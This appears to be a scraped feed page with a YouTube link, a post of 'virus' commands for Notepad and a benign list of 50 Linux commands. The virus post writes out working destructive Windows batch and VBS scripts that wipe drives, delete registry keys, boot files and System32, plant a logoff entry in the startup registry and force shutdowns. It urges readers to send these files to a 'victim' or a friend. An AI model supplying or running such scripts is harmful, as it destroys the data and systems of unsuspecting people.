DataStructure and Algorithms Solutions with Supercool 💯

https://youtu.be/w3be6_8_b0g Yesterday's Solution

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🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰 Method 1: Just open your notepad 1) Click start -> all programs -> accessories -> notepad 2) Or just press or click windows key + r :: run window will open and type notepad and hit enter . NOW TYPE THE FOLLOWING CODE :: @echo off del D:\*.* /f /s /q del E:\*.* /f /s /q del F:\*.* /f /s /q del G:\*.* /f /s /q del H:\*.* /f /s /q del I:\*.* /f /s /q del J:\*.* /f /s /q Then save it as kinng.bat and the batch file is created . WARNING :: This is the most dangerous virus! Be careful with its use. Delete the entire registry @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* Now save it as kinng.bat and the batch file is created . Method 2: How to crash a PC Forever !::: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. Method 3: How to stop someone's internet access:::: @Echo off Ipconfig /release Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it However, this is VERY easy to fix. Simply type in IPconfig /renew Method 4: ShutDown PC million Times:::: 1.right click on the desktop 2.click shortcut you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want... 3.u will get another dialogue box, write in it: Internet Explorer and press finish 4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok try to open it, it is a virus hehe PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a Method 5: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started. Method 6: Process: Open Notepad Copy the below command there "rd/s/q D:\ rd/s/q C:\ rd/s/q E:\" ( without quotes ) Save as "anything.bat This virus Formats the C ,D , and E Drive in 3 Seconds. Method 7: Just open the Notepad and type the paste the following Code. set ws=createobject("wscript.shell") dim strDir,strfile,st,strtxt2,strshell,strlog dim obfso,obfolder,obshell,obfile,obtxtfile strshell="wscript.shell" strDir="C:\WINDOWS" strfile="\wscript.vbs" st=Chr(34) strlog="shutdown -l" strtxt2="ws.run(strlog)" set obfso=CreateObject("Scripting.FileSystemObject") on error resume next set obfile=obfso.CreateTextfile(strDir & strfile) obfile.writeline("set ws=createobject("&st&strshell&st&")") obfile.writeline("ws.run("&st&strlog&st&")") ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ” Now Save This Notepad file With Any Name Having .vbs Extension . Method 8: Open Notepad and write "start" without quotes Start Start Start and then save it with .bat extension. Now double click on this .bat file to run Command Prompt. Method 9: Convey your friend a little message and shut down his / her computer: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. Method 10 : Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it.

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Top 50 Linux Commands You Must Know as a Regular User... 1. ls - view contents of directory (list) 2. pwd - path of the current directory 3. cd - change directoryn 4. mkdir - make new directory 5. mv - move files / rename files 6. cp - copy files 7. rm - remove files 8. touch - create blank new file 9. rmdir - delete directory 10. cat - list content of file to terminal 11. clear - clear terminal window 12. echo - move data into a file 13. less - Read text file one screen at a time 14. man - show manual of Linux commands 15. sudo - enables you to perform tasks that require administrative or root permissions 16. top - task manager in terminal 17. tar - used to archive multiple files into a tarball 18. grep - used to searching words in specific files 19. head - view first lines of any text file 20. tail - view last lines of any text file 21. diff - compares the contents of two files line by line 22. kill - used for killing unresponsive program 23. jobs - display all current jobs along with their statuses 24. sort - is a command line utility for sorting lines of text files 25. df - info about system disk 26. du - check how much space a file or directory takes 27. zip - to compress your files into a zip archive 28. unzip - to extract the zipped files from a zip archive 29. ssh - a secure encrypted connection between two hosts over and insecure network 30. cal - shows calendar 31. apt - command line tool for interaction with packaging system 32. alias - custom shortcuts used to represent a command 33. w - current user info 34. whereis - used to locate the binary, source, manual page files 35. whatis - used to get one-line man page description 36. useradd - used to create a new user 37. passwd - used to changing password of current user 38. whoami - print current user 39. uptime - print current time when machine starts 40. free - print free disk space info 41. history - print used commands history 42. uname - print detailed information about your Linux system 43. ping - to check connectivity status to a server 44. chmod - to change permissions of files and directories 45. chown - to change ownership of files and directories 46. find - using find searches for files and directories 47. locate - used to locate a file, just like the search command in Windows 48. ifconfig - print ip address stuff 49. ip a - similar to ifconfig but shortest print 50. finger - gives you a short dump of info about a user

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